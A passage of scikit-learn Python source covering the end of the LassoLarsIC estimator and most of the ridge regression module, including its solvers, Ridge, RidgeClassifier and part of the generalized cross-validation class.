    >>> clf = linear_model.LassoLarsIC(criterion='bic')
    >>> clf.fit([[-1, 1], [0, 0], [1, 1]], [-1.1111, 0, -1.1111])
    ... # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    LassoLarsIC(copy_X=True, criterion='bic', eps=..., fit_intercept=True,
          max_iter=500, normalize=True, positive=False, precompute='auto',
          verbose=False)
    >>> print(clf.coef_) # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    [ 0.  -1.11...]

    Notes
    -----
    The estimation of the number of degrees of freedom is given by:

    "On the degrees of freedom of the lasso"
    Hui Zou, Trevor Hastie, and Robert Tibshirani
    Ann. Statist. Volume 35, Number 5 (2007), 2173-2192.

    https://en.wikipedia.org/wiki/Akaike_information_criterion
    https://en.wikipedia.org/wiki/Bayesian_information_criterion

    See also
    --------
    lars_path, LassoLars, LassoLarsCV
    """
    def __init__(self, criterion='aic', fit_intercept=True, verbose=False,
                 normalize=True, precompute='auto', max_iter=500,
                 eps=np.finfo(np.float).eps, copy_X=True, positive=False):
        self.criterion = criterion
        self.fit_intercept = fit_intercept
        self.positive = positive
        self.max_iter = max_iter
        self.verbose = verbose
        self.normalize = normalize
        self.copy_X = copy_X
        self.precompute = precompute
        self.eps = eps

    def fit(self, X, y, copy_X=True):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            training data.

        y : array-like, shape (n_samples,)
            target values.

        copy_X : boolean, optional, default True
            If ``True``, X will be copied; else, it may be overwritten.

        Returns
        -------
        self : object
            returns an instance of self.
        """
        self.fit_path = True
        X, y = check_X_y(X, y, y_numeric=True)

        X, y, Xmean, ymean, Xstd = LinearModel._preprocess_data(
            X, y, self.fit_intercept, self.normalize, self.copy_X)
        max_iter = self.max_iter

        Gram = self._get_gram()

        alphas_, active_, coef_path_, self.n_iter_ = lars_path(
            X, y, Gram=Gram, copy_X=copy_X, copy_Gram=True, alpha_min=0.0,
            method='lasso', verbose=self.verbose, max_iter=max_iter,
            eps=self.eps, return_n_iter=True, positive=self.positive)

        n_samples = X.shape[0]

        if self.criterion == 'aic':
            K = 2  # AIC
        elif self.criterion == 'bic':
            K = log(n_samples)  # BIC
        else:
            raise ValueError('criterion should be either bic or aic')

        R = y[:, np.newaxis] - np.dot(X, coef_path_)  # residuals
        mean_squared_error = np.mean(R ** 2, axis=0)

        df = np.zeros(coef_path_.shape[1], dtype=np.int)  # Degrees of freedom
        for k, coef in enumerate(coef_path_.T):
            mask = np.abs(coef) > np.finfo(coef.dtype).eps
            if not np.any(mask):
                continue
            # get the number of degrees of freedom equal to:
            # Xc = X[:, mask]
            # Trace(Xc * inv(Xc.T, Xc) * Xc.T) ie the number of non-zero coefs
            df[k] = np.sum(mask)

        self.alphas_ = alphas_
        with np.errstate(divide='ignore'):
            self.criterion_ = n_samples * np.log(mean_squared_error) + K * df
        n_best = np.argmin(self.criterion_)

        self.alpha_ = alphas_[n_best]
        self.coef_ = coef_path_[:, n_best]
        self._set_intercept(Xmean, ymean, Xstd)
        return self






"""
Ridge regression
"""

# Author: Mathieu Blondel <mathieu@mblondel.org>
#         Reuben Fletcher-Costin <reuben.fletchercostin@gmail.com>
#         Fabian Pedregosa <fabian@fseoane.net>
#         Michael Eickenberg <michael.eickenberg@nsup.org>
# License: BSD 3 clause


from abc import ABCMeta, abstractmethod
import warnings

import numpy as np
from scipy import linalg
from scipy import sparse
from scipy.sparse import linalg as sp_linalg

from .base import LinearClassifierMixin, LinearModel, _rescale_data
from .sag import sag_solver
from ..base import RegressorMixin
from ..utils.extmath import safe_sparse_dot
from ..utils.extmath import row_norms
from ..utils import check_X_y
from ..utils import check_array
from ..utils import check_consistent_length
from ..utils import compute_sample_weight
from ..utils import column_or_1d
from ..preprocessing import LabelBinarizer
from ..model_selection import GridSearchCV
from ..externals import six
from ..metrics.scorer import check_scoring


def _solve_sparse_cg(X, y, alpha, max_iter=None, tol=1e-3, verbose=0):
    n_samples, n_features = X.shape
    X1 = sp_linalg.aslinearoperator(X)
    coefs = np.empty((y.shape[1], n_features))

    if n_features > n_samples:
        def create_mv(curr_alpha):
            def _mv(x):
                return X1.matvec(X1.rmatvec(x)) + curr_alpha * x
            return _mv
    else:
        def create_mv(curr_alpha):
            def _mv(x):
                return X1.rmatvec(X1.matvec(x)) + curr_alpha * x
            return _mv

    for i in range(y.shape[1]):
        y_column = y[:, i]

        mv = create_mv(alpha[i])
        if n_features > n_samples:
            # kernel ridge
            # w = X.T * inv(X X^t + alpha*Id) y
            C = sp_linalg.LinearOperator(
                (n_samples, n_samples), matvec=mv, dtype=X.dtype)
            coef, info = sp_linalg.cg(C, y_column, tol=tol)
            coefs[i] = X1.rmatvec(coef)
        else:
            # linear ridge
            # w = inv(X^t X + alpha*Id) * X.T y
            y_column = X1.rmatvec(y_column)
            C = sp_linalg.LinearOperator(
                (n_features, n_features), matvec=mv, dtype=X.dtype)
            coefs[i], info = sp_linalg.cg(C, y_column, maxiter=max_iter,
                                          tol=tol)
        if info < 0:
            raise ValueError("Failed with error code %d" % info)

        if max_iter is None and info > 0 and verbose:
            warnings.warn("sparse_cg did not converge after %d iterations." %
                          info)

    return coefs


def _solve_lsqr(X, y, alpha, max_iter=None, tol=1e-3):
    n_samples, n_features = X.shape
    coefs = np.empty((y.shape[1], n_features))
    n_iter = np.empty(y.shape[1], dtype=np.int32)

    # According to the lsqr documentation, alpha = damp^2.
    sqrt_alpha = np.sqrt(alpha)

    for i in range(y.shape[1]):
        y_column = y[:, i]
        info = sp_linalg.lsqr(X, y_column, damp=sqrt_alpha[i],
                              atol=tol, btol=tol, iter_lim=max_iter)
        coefs[i] = info[0]
        n_iter[i] = info[2]

    return coefs, n_iter


def _solve_cholesky(X, y, alpha):
    # w = inv(X^t X + alpha*Id) * X.T y
    n_samples, n_features = X.shape
    n_targets = y.shape[1]

    A = safe_sparse_dot(X.T, X, dense_output=True)
    Xy = safe_sparse_dot(X.T, y, dense_output=True)

    one_alpha = np.array_equal(alpha, len(alpha) * [alpha[0]])

    if one_alpha:
        A.flat[::n_features + 1] += alpha[0]
        return linalg.solve(A, Xy, sym_pos=True,
                            overwrite_a=True).T
    else:
        coefs = np.empty([n_targets, n_features])
        for coef, target, current_alpha in zip(coefs, Xy.T, alpha):
            A.flat[::n_features + 1] += current_alpha
            coef[:] = linalg.solve(A, target, sym_pos=True,
                                   overwrite_a=False).ravel()
            A.flat[::n_features + 1] -= current_alpha
        return coefs


def _solve_cholesky_kernel(K, y, alpha, sample_weight=None, copy=False):
    # dual_coef = inv(X X^t + alpha*Id) y
    n_samples = K.shape[0]
    n_targets = y.shape[1]

    if copy:
        K = K.copy()

    alpha = np.atleast_1d(alpha)
    one_alpha = (alpha == alpha[0]).all()
    has_sw = isinstance(sample_weight, np.ndarray) \
        or sample_weight not in [1.0, None]

    if has_sw:
        # Unlike other solvers, we need to support sample_weight directly
        # because K might be a pre-computed kernel.
        sw = np.sqrt(np.atleast_1d(sample_weight))
        y = y * sw[:, np.newaxis]
        K *= np.outer(sw, sw)

    if one_alpha:
        # Only one penalty, we can solve multi-target problems in one time.
        K.flat[::n_samples + 1] += alpha[0]

        try:
            # Note: we must use overwrite_a=False in order to be able to
            #       use the fall-back solution below in case a LinAlgError
            #       is raised
            dual_coef = linalg.solve(K, y, sym_pos=True,
                                     overwrite_a=False)
        except np.linalg.LinAlgError:
            warnings.warn("Singular matrix in solving dual problem. Using "
                          "least-squares solution instead.")
            dual_coef = linalg.lstsq(K, y)[0]

        # K is expensive to compute and store in memory so change it back in
        # case it was user-given.
        K.flat[::n_samples + 1] -= alpha[0]

        if has_sw:
            dual_coef *= sw[:, np.newaxis]

        return dual_coef
    else:
        # One penalty per target. We need to solve each target separately.
        dual_coefs = np.empty([n_targets, n_samples])

        for dual_coef, target, current_alpha in zip(dual_coefs, y.T, alpha):
            K.flat[::n_samples + 1] += current_alpha

            dual_coef[:] = linalg.solve(K, target, sym_pos=True,
                                        overwrite_a=False).ravel()

            K.flat[::n_samples + 1] -= current_alpha

        if has_sw:
            dual_coefs *= sw[np.newaxis, :]

        return dual_coefs.T


def _solve_svd(X, y, alpha):
    U, s, Vt = linalg.svd(X, full_matrices=False)
    idx = s > 1e-15  # same default value as scipy.linalg.pinv
    s_nnz = s[idx][:, np.newaxis]
    UTy = np.dot(U.T, y)
    d = np.zeros((s.size, alpha.size))
    d[idx] = s_nnz / (s_nnz ** 2 + alpha)
    d_UT_y = d * UTy
    return np.dot(Vt.T, d_UT_y).T


def ridge_regression(X, y, alpha, sample_weight=None, solver='auto',
                     max_iter=None, tol=1e-3, verbose=0, random_state=None,
                     return_n_iter=False, return_intercept=False):
    """Solve the ridge equation by the method of normal equations.

    Read more in the :ref:`User Guide <ridge_regression>`.

    Parameters
    ----------
    X : {array-like, sparse matrix, LinearOperator},
        shape = [n_samples, n_features]
        Training data

    y : array-like, shape = [n_samples] or [n_samples, n_targets]
        Target values

    alpha : {float, array-like},
        shape = [n_targets] if array-like
        Regularization strength; must be a positive float. Regularization
        improves the conditioning of the problem and reduces the variance of
        the estimates. Larger values specify stronger regularization.
        Alpha corresponds to ``C^-1`` in other linear models such as 
        LogisticRegression or LinearSVC. If an array is passed, penalties are
        assumed to be specific to the targets. Hence they must correspond in
        number.

    max_iter : int, optional
        Maximum number of iterations for conjugate gradient solver.
        For 'sparse_cg' and 'lsqr' solvers, the default value is determined
        by scipy.sparse.linalg. For 'sag' solver, the default value is 1000.

    sample_weight : float or numpy array of shape [n_samples]
        Individual weights for each sample. If sample_weight is not None and
        solver='auto', the solver will be set to 'cholesky'.

        .. versionadded:: 0.17

    solver : {'auto', 'svd', 'cholesky', 'lsqr', 'sparse_cg'}
        Solver to use in the computational routines:

        - 'auto' chooses the solver automatically based on the type of data.

        - 'svd' uses a Singular Value Decomposition of X to compute the Ridge
          coefficients. More stable for singular matrices than
          'cholesky'.

        - 'cholesky' uses the standard scipy.linalg.solve function to
          obtain a closed-form solution via a Cholesky decomposition of
          dot(X.T, X)

        - 'sparse_cg' uses the conjugate gradient solver as found in
          scipy.sparse.linalg.cg. As an iterative algorithm, this solver is
          more appropriate than 'cholesky' for large-scale data
          (possibility to set `tol` and `max_iter`).

        - 'lsqr' uses the dedicated regularized least-squares routine
          scipy.sparse.linalg.lsqr. It is the fastest but may not be available
          in old scipy versions. It also uses an iterative procedure.

        - 'sag' uses a Stochastic Average Gradient descent. It also uses an
          iterative procedure, and is often faster than other solvers when
          both n_samples and n_features are large. Note that 'sag' fast
          convergence is only guaranteed on features with approximately the
          same scale. You can preprocess the data with a scaler from
          sklearn.preprocessing.

        All last four solvers support both dense and sparse data. However,
        only 'sag' supports sparse input when `fit_intercept` is True.

        .. versionadded:: 0.17
           Stochastic Average Gradient descent solver.

    tol : float
        Precision of the solution.

    verbose : int
        Verbosity level. Setting verbose > 0 will display additional
        information depending on the solver used.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data. Used only in 'sag' solver.

    return_n_iter : boolean, default False
        If True, the method also returns `n_iter`, the actual number of
        iteration performed by the solver.

        .. versionadded:: 0.17

    return_intercept : boolean, default False
        If True and if X is sparse, the method also returns the intercept,
        and the solver is automatically changed to 'sag'. This is only a
        temporary fix for fitting the intercept with sparse data. For dense
        data, use sklearn.linear_model._preprocess_data before your regression.

        .. versionadded:: 0.17

    Returns
    -------
    coef : array, shape = [n_features] or [n_targets, n_features]
        Weight vector(s).

    n_iter : int, optional
        The actual number of iteration performed by the solver.
        Only returned if `return_n_iter` is True.

    intercept : float or array, shape = [n_targets]
        The intercept of the model. Only returned if `return_intercept`
        is True and if X is a scipy sparse array.

    Notes
    -----
    This function won't compute the intercept.
    """
    if return_intercept and sparse.issparse(X) and solver != 'sag':
        if solver != 'auto':
            warnings.warn("In Ridge, only 'sag' solver can currently fit the "
                          "intercept when X is sparse. Solver has been "
                          "automatically changed into 'sag'.")
        solver = 'sag'

    # SAG needs X and y columns to be C-contiguous and np.float64
    if solver == 'sag':
        X = check_array(X, accept_sparse=['csr'],
                        dtype=np.float64, order='C')
        y = check_array(y, dtype=np.float64, ensure_2d=False, order='F')
    else:
        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'],
                        dtype=np.float64)
        y = check_array(y, dtype='numeric', ensure_2d=False)
    check_consistent_length(X, y)

    n_samples, n_features = X.shape

    if y.ndim > 2:
        raise ValueError("Target y has the wrong shape %s" % str(y.shape))

    ravel = False
    if y.ndim == 1:
        y = y.reshape(-1, 1)
        ravel = True

    n_samples_, n_targets = y.shape

    if n_samples != n_samples_:
        raise ValueError("Number of samples in X and y does not correspond:"
                         " %d != %d" % (n_samples, n_samples_))

    has_sw = sample_weight is not None

    if solver == 'auto':
        # cholesky if it's a dense array and cg in any other case
        if not sparse.issparse(X) or has_sw:
            solver = 'cholesky'
        else:
            solver = 'sparse_cg'

    elif solver == 'lsqr' and not hasattr(sp_linalg, 'lsqr'):
        warnings.warn("""lsqr not available on this machine, falling back
                      to sparse_cg.""")
        solver = 'sparse_cg'

    if has_sw:
        if np.atleast_1d(sample_weight).ndim > 1:
            raise ValueError("Sample weights must be 1D array or scalar")

        if solver != 'sag':
            # SAG supports sample_weight directly. For other solvers,
            # we implement sample_weight via a simple rescaling.
            X, y = _rescale_data(X, y, sample_weight)

    # There should be either 1 or n_targets penalties
    alpha = np.asarray(alpha).ravel()
    if alpha.size not in [1, n_targets]:
        raise ValueError("Number of targets and number of penalties "
                         "do not correspond: %d != %d"
                         % (alpha.size, n_targets))

    if alpha.size == 1 and n_targets > 1:
        alpha = np.repeat(alpha, n_targets)

    if solver not in ('sparse_cg', 'cholesky', 'svd', 'lsqr', 'sag'):
        raise ValueError('Solver %s not understood' % solver)

    n_iter = None
    if solver == 'sparse_cg':
        coef = _solve_sparse_cg(X, y, alpha, max_iter, tol, verbose)

    elif solver == 'lsqr':
        coef, n_iter = _solve_lsqr(X, y, alpha, max_iter, tol)

    elif solver == 'cholesky':
        if n_features > n_samples:
            K = safe_sparse_dot(X, X.T, dense_output=True)
            try:
                dual_coef = _solve_cholesky_kernel(K, y, alpha)

                coef = safe_sparse_dot(X.T, dual_coef, dense_output=True).T
            except linalg.LinAlgError:
                # use SVD solver if matrix is singular
                solver = 'svd'

        else:
            try:
                coef = _solve_cholesky(X, y, alpha)
            except linalg.LinAlgError:
                # use SVD solver if matrix is singular
                solver = 'svd'

    elif solver == 'sag':
        # precompute max_squared_sum for all targets
        max_squared_sum = row_norms(X, squared=True).max()

        coef = np.empty((y.shape[1], n_features))
        n_iter = np.empty(y.shape[1], dtype=np.int32)
        intercept = np.zeros((y.shape[1], ))
        for i, (alpha_i, target) in enumerate(zip(alpha, y.T)):
            init = {'coef': np.zeros((n_features + int(return_intercept), 1))}
            coef_, n_iter_, _ = sag_solver(
                X, target.ravel(), sample_weight, 'squared', alpha_i,
                max_iter, tol, verbose, random_state, False, max_squared_sum,
                init)
            if return_intercept:
                coef[i] = coef_[:-1]
                intercept[i] = coef_[-1]
            else:
                coef[i] = coef_
            n_iter[i] = n_iter_

        if intercept.shape[0] == 1:
            intercept = intercept[0]
        coef = np.asarray(coef)

    if solver == 'svd':
        if sparse.issparse(X):
            raise TypeError('SVD solver does not support sparse'
                            ' inputs currently')
        coef = _solve_svd(X, y, alpha)

    if ravel:
        # When y was passed as a 1d-array, we flatten the coefficients.
        coef = coef.ravel()

    if return_n_iter and return_intercept:
        return coef, n_iter, intercept
    elif return_intercept:
        return coef, intercept
    elif return_n_iter:
        return coef, n_iter
    else:
        return coef


class _BaseRidge(six.with_metaclass(ABCMeta, LinearModel)):

    @abstractmethod
    def __init__(self, alpha=1.0, fit_intercept=True, normalize=False,
                 copy_X=True, max_iter=None, tol=1e-3, solver="auto",
                 random_state=None):
        self.alpha = alpha
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.copy_X = copy_X
        self.max_iter = max_iter
        self.tol = tol
        self.solver = solver
        self.random_state = random_state

    def fit(self, X, y, sample_weight=None):
        X, y = check_X_y(X, y, ['csr', 'csc', 'coo'], dtype=np.float64,
                         multi_output=True, y_numeric=True)

        if ((sample_weight is not None) and
                np.atleast_1d(sample_weight).ndim > 1):
            raise ValueError("Sample weights must be 1D array or scalar")

        X, y, X_offset, y_offset, X_scale = self._preprocess_data(
            X, y, self.fit_intercept, self.normalize, self.copy_X,
            sample_weight=sample_weight)

        # temporary fix for fitting the intercept with sparse data using 'sag'
        if sparse.issparse(X) and self.fit_intercept:
            self.coef_, self.n_iter_, self.intercept_ = ridge_regression(
                X, y, alpha=self.alpha, sample_weight=sample_weight,
                max_iter=self.max_iter, tol=self.tol, solver=self.solver,
                random_state=self.random_state, return_n_iter=True,
                return_intercept=True)
            self.intercept_ += y_offset
        else:
            self.coef_, self.n_iter_ = ridge_regression(
                X, y, alpha=self.alpha, sample_weight=sample_weight,
                max_iter=self.max_iter, tol=self.tol, solver=self.solver,
                random_state=self.random_state, return_n_iter=True,
                return_intercept=False)
            self._set_intercept(X_offset, y_offset, X_scale)

        return self


class Ridge(_BaseRidge, RegressorMixin):
    """Linear least squares with l2 regularization.

    This model solves a regression model where the loss function is
    the linear least squares function and regularization is given by
    the l2-norm. Also known as Ridge Regression or Tikhonov regularization.
    This estimator has built-in support for multi-variate regression
    (i.e., when y is a 2d-array of shape [n_samples, n_targets]).

    Read more in the :ref:`User Guide <ridge_regression>`.

    Parameters
    ----------
    alpha : {float, array-like}, shape (n_targets)
        Regularization strength; must be a positive float. Regularization
        improves the conditioning of the problem and reduces the variance of
        the estimates. Larger values specify stronger regularization.
        Alpha corresponds to ``C^-1`` in other linear models such as 
        LogisticRegression or LinearSVC. If an array is passed, penalties are
        assumed to be specific to the targets. Hence they must correspond in
        number.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    fit_intercept : boolean
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    max_iter : int, optional
        Maximum number of iterations for conjugate gradient solver.
        For 'sparse_cg' and 'lsqr' solvers, the default value is determined
        by scipy.sparse.linalg. For 'sag' solver, the default value is 1000.

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    solver : {'auto', 'svd', 'cholesky', 'lsqr', 'sparse_cg', 'sag'}
        Solver to use in the computational routines:

        - 'auto' chooses the solver automatically based on the type of data.

        - 'svd' uses a Singular Value Decomposition of X to compute the Ridge
          coefficients. More stable for singular matrices than
          'cholesky'.

        - 'cholesky' uses the standard scipy.linalg.solve function to
          obtain a closed-form solution.

        - 'sparse_cg' uses the conjugate gradient solver as found in
          scipy.sparse.linalg.cg. As an iterative algorithm, this solver is
          more appropriate than 'cholesky' for large-scale data
          (possibility to set `tol` and `max_iter`).

        - 'lsqr' uses the dedicated regularized least-squares routine
          scipy.sparse.linalg.lsqr. It is the fastest but may not be available
          in old scipy versions. It also uses an iterative procedure.

        - 'sag' uses a Stochastic Average Gradient descent. It also uses an
          iterative procedure, and is often faster than other solvers when
          both n_samples and n_features are large. Note that 'sag' fast
          convergence is only guaranteed on features with approximately the
          same scale. You can preprocess the data with a scaler from
          sklearn.preprocessing.

        All last four solvers support both dense and sparse data. However,
        only 'sag' supports sparse input when `fit_intercept` is True.

        .. versionadded:: 0.17
           Stochastic Average Gradient descent solver.

    tol : float
        Precision of the solution.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data. Used only in 'sag' solver.

        .. versionadded:: 0.17
           *random_state* to support Stochastic Average Gradient.

    Attributes
    ----------
    coef_ : array, shape (n_features,) or (n_targets, n_features)
        Weight vector(s).

    intercept_ : float | array, shape = (n_targets,)
        Independent term in decision function. Set to 0.0 if
        ``fit_intercept = False``.

    n_iter_ : array or None, shape (n_targets,)
        Actual number of iterations for each target. Available only for
        sag and lsqr solvers. Other solvers will return None.

        .. versionadded:: 0.17

    See also
    --------
    RidgeClassifier, RidgeCV, :class:`sklearn.kernel_ridge.KernelRidge`

    Examples
    --------
    >>> from sklearn.linear_model import Ridge
    >>> import numpy as np
    >>> n_samples, n_features = 10, 5
    >>> np.random.seed(0)
    >>> y = np.random.randn(n_samples)
    >>> X = np.random.randn(n_samples, n_features)
    >>> clf = Ridge(alpha=1.0)
    >>> clf.fit(X, y) # doctest: +NORMALIZE_WHITESPACE
    Ridge(alpha=1.0, copy_X=True, fit_intercept=True, max_iter=None,
          normalize=False, random_state=None, solver='auto', tol=0.001)

    """
    def __init__(self, alpha=1.0, fit_intercept=True, normalize=False,
                 copy_X=True, max_iter=None, tol=1e-3, solver="auto",
                 random_state=None):
        super(Ridge, self).__init__(alpha=alpha, fit_intercept=fit_intercept,
                                    normalize=normalize, copy_X=copy_X,
                                    max_iter=max_iter, tol=tol, solver=solver,
                                    random_state=random_state)

    def fit(self, X, y, sample_weight=None):
        """Fit Ridge regression model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training data

        y : array-like, shape = [n_samples] or [n_samples, n_targets]
            Target values

        sample_weight : float or numpy array of shape [n_samples]
            Individual weights for each sample

        Returns
        -------
        self : returns an instance of self.
        """
        return super(Ridge, self).fit(X, y, sample_weight=sample_weight)


class RidgeClassifier(LinearClassifierMixin, _BaseRidge):
    """Classifier using Ridge regression.

    Read more in the :ref:`User Guide <ridge_regression>`.

    Parameters
    ----------
    alpha : float
        Regularization strength; must be a positive float. Regularization
        improves the conditioning of the problem and reduces the variance of
        the estimates. Larger values specify stronger regularization.
        Alpha corresponds to ``C^-1`` in other linear models such as 
        LogisticRegression or LinearSVC.

    class_weight : dict or 'balanced', optional
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    fit_intercept : boolean
        Whether to calculate the intercept for this model. If set to false, no
        intercept will be used in calculations (e.g. data is expected to be
        already centered).

    max_iter : int, optional
        Maximum number of iterations for conjugate gradient solver.
        The default value is determined by scipy.sparse.linalg.

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    solver : {'auto', 'svd', 'cholesky', 'lsqr', 'sparse_cg', 'sag'}
        Solver to use in the computational routines:

        - 'auto' chooses the solver automatically based on the type of data.

        - 'svd' uses a Singular Value Decomposition of X to compute the Ridge
          coefficients. More stable for singular matrices than
          'cholesky'.

        - 'cholesky' uses the standard scipy.linalg.solve function to
          obtain a closed-form solution.

        - 'sparse_cg' uses the conjugate gradient solver as found in
          scipy.sparse.linalg.cg. As an iterative algorithm, this solver is
          more appropriate than 'cholesky' for large-scale data
          (possibility to set `tol` and `max_iter`).

        - 'lsqr' uses the dedicated regularized least-squares routine
          scipy.sparse.linalg.lsqr. It is the fastest but may not be available
          in old scipy versions. It also uses an iterative procedure.

        - 'sag' uses a Stochastic Average Gradient descent. It also uses an
          iterative procedure, and is faster than other solvers when both
          n_samples and n_features are large.

          .. versionadded:: 0.17
             Stochastic Average Gradient descent solver.

    tol : float
        Precision of the solution.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data. Used in 'sag' solver.

    Attributes
    ----------
    coef_ : array, shape (n_features,) or (n_classes, n_features)
        Weight vector(s).

    intercept_ : float | array, shape = (n_targets,)
        Independent term in decision function. Set to 0.0 if
        ``fit_intercept = False``.

    n_iter_ : array or None, shape (n_targets,)
        Actual number of iterations for each target. Available only for
        sag and lsqr solvers. Other solvers will return None.

    See also
    --------
    Ridge, RidgeClassifierCV

    Notes
    -----
    For multi-class classification, n_class classifiers are trained in
    a one-versus-all approach. Concretely, this is implemented by taking
    advantage of the multi-variate response support in Ridge.
    """
    def __init__(self, alpha=1.0, fit_intercept=True, normalize=False,
                 copy_X=True, max_iter=None, tol=1e-3, class_weight=None,
                 solver="auto", random_state=None):
        super(RidgeClassifier, self).__init__(
            alpha=alpha, fit_intercept=fit_intercept, normalize=normalize,
            copy_X=copy_X, max_iter=max_iter, tol=tol, solver=solver,
            random_state=random_state)
        self.class_weight = class_weight

    def fit(self, X, y, sample_weight=None):
        """Fit Ridge regression model.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples,n_features]
            Training data

        y : array-like, shape = [n_samples]
            Target values

        sample_weight : float or numpy array of shape (n_samples,)
            Sample weight.

            .. versionadded:: 0.17
               *sample_weight* support to Classifier.

        Returns
        -------
        self : returns an instance of self.
        """
        self._label_binarizer = LabelBinarizer(pos_label=1, neg_label=-1)
        Y = self._label_binarizer.fit_transform(y)
        if not self._label_binarizer.y_type_.startswith('multilabel'):
            y = column_or_1d(y, warn=True)
        else:
            # we don't (yet) support multi-label classification in Ridge
            raise ValueError(
                "%s doesn't support multi-label classification" % (
                    self.__class__.__name__))

        if self.class_weight:
            if sample_weight is None:
                sample_weight = 1.
            # modify the sample weights with the corresponding class weight
            sample_weight = (sample_weight *
                             compute_sample_weight(self.class_weight, y))

        super(RidgeClassifier, self).fit(X, Y, sample_weight=sample_weight)
        return self

    @property
    def classes_(self):
        return self._label_binarizer.classes_


class _RidgeGCV(LinearModel):
    """Ridge regression with built-in Generalized Cross-Validation

    It allows efficient Leave-One-Out cross-validation.

    This class is not intended to be used directly. Use RidgeCV instead.

    Notes
    -----

    We want to solve (K + alpha*Id)c = y,
    where K = X X^T is the kernel matrix.

    Let G = (K + alpha*Id)^-1.

    Dual solution: c = Gy
    Primal solution: w = X^T c

    Compute eigendecomposition K = Q V Q^T.
    Then G = Q (V + alpha*Id)^-1 Q^T,
    where (V + alpha*Id) is diagonal.
    It is thus inexpensive to inverse for many alphas.

    Let loov be the vector of prediction values for each example
    when the model was fitted with all examples but this example.

    loov = (KGY - diag(KG)Y) / diag(I-KG)

    Let looe be the vector of prediction errors for each example
    when the model was fitted with all examples but this example.

    looe = y - loov = c / diag(G)

    References
    ----------
    http://cbcl.mit.edu/projects/cbcl/publications/ps/MIT-CSAIL-TR-2007-025.pdf
    http://www.mit.edu/~9.520/spring07/Classes/rlsslides.pdf
    """

    def __init__(self, alphas=(0.1, 1.0, 10.0),
                 fit_intercept=True, normalize=False,
                 scoring=None, copy_X=True,
                 gcv_mode=None, store_cv_values=False):
        self.alphas = np.asarray(alphas)
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.scoring = scoring
        self.copy_X = copy_X
        self.gcv_mode = gcv_mode
        self.store_cv_values = store_cv_values

    def _pre_compute(self, X, y):
        # even if X is very sparse, K is usually very dense
        K = safe_sparse_dot(X, X.T, dense_output=True)
        v, Q = linalg.eigh(K)
        QT_y = np.dot(Q.T, y)
        return v, Q, QT_y

    def _decomp_diag(self, v_prime, Q):
        # compute diagonal of the matrix: dot(Q, dot(diag(v_prime), Q^T))
        return (v_prime * Q ** 2).sum(axis=-1)

    def _diag_dot(self, D, B):
        # compute dot(diag(D), B)
        if len(B.shape) > 1:
            # handle case where B is > 1-d
            D = D[(slice(None), ) + (np.newaxis, ) * (len(B.shape) - 1)]
        return D * B

    def _errors_and_values_helper(self, alpha, y, v, Q, QT_y):
        """Helper function to avoid code duplication between self._errors and
        self._values.

        Notes
        -----
        We don't construct matrix G, instead compute action on y & diagonal.
        """
        w = 1.0 / (v + alpha)
        c = np.dot(Q, self._diag_dot(w, QT_y))
        G_diag = self._decomp_diag(w, Q)
        # handle case where y is 2-d
        if len(y.shape) != 1:
            G_diag = G_diag[:, np.newaxis]
        return G_diag, c

    def _errors(self, alpha, y, v, Q, QT_y):
        G_diag, c = self._errors_and_values_helper(alpha, y, v, Q, QT_y)
        return (c / G_diag) ** 2, c

    def _values(self, alpha, y, v, Q, QT_y):
        G_diag, c = self._errors_and_values_helper(alpha, y, v, Q, QT_y)
        return y - (c / G_diag), c

    def _pre_compute_svd(self, X, y):
        if sparse.issparse(X):
            raise TypeError("SVD not supported for sparse matrices")
        U, s, _ = linalg.svd(X, full_matrices=0)
        v = s ** 2
        UT_y = np.dot(U.T, y)
        return v, U, UT_y

    def _errors_and_values_svd_helper(self, alpha, y, v, U, UT_y):
        """Helper function to avoid code duplication between self._errors_svd
        and self._values_svd.
        """
        w = ((v + alpha) ** -1) - (alpha ** -1)
        c = np.dot(U, self._diag_dot(w, UT_y)) + (alpha ** -1) * y
        G_diag = self._decomp_diag(w, U) + (alpha ** -1)
        if len(y.shape) != 1:
            # handle case where y is 2-d
            G_diag = G_diag[:, np.newaxis]
        return G_diag, c

    def _errors_svd(self, alpha, y, v, U, UT_y):
        G_diag, c = self._errors_and_values_svd_helper(alpha, y, v, U, UT_y)
        return (c / G_diag) ** 2, c

    def _values_svd(self, alpha, y, v, U, UT_y):
        G_diag, c = self._errors_and_values_svd_helper(alpha, y, v, U, UT_y)
        return y - (c / G_diag), c

    def fit(self, X, y, sample_weight=None):
        """Fit Ridge regression model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training data

        y : array-like, shape = [n_samples] or [n_samples, n_targets]
            Target values

        sample_weight : float or array-like of shape [n_samples]
            Sample weight

        Returns
        -------
        self : Returns self.
